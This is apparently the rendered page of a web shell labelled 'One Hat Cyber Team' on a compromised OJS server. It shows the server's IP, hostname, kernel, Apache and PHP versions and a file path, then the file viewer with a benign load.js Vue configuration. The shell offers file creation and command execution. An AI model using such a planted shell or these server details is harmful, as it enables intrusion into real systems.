One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
prev
/
ojs-umj
/
lib
/
pkp
/
js
/
View File Name :
load.js
/** * @file js/load.js * * Copyright (c) 2014-2019 Simon Fraser University * Copyright (c) 2000-2019 John Willinsky * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING. * * @brief Common configuration for building the Javascript package */ // Vue lib and custom mixins import Vue from 'vue'; import GlobalMixins from '@/mixins/global.js'; // Helper for initializing and tracking Vue controllers import VueRegistry from './classes/VueRegistry.js'; Vue.mixin(GlobalMixins); export default { Vue: Vue, registry: VueRegistry, eventBus: new Vue(), const: {}, /** * Helper function to determine if the current user has a role * * @param int|array roles The role ID to look for (pkp.const.ROLE_ID...) * @return bool */ userHasRole: function (roles) { if (!Array.isArray(roles)) { roles = [roles]; } var hasRole = false; roles.forEach((role) => { if ($.pkp.currentUser.accessRoles.indexOf(role) > -1) { hasRole = true; } }); return hasRole; }, };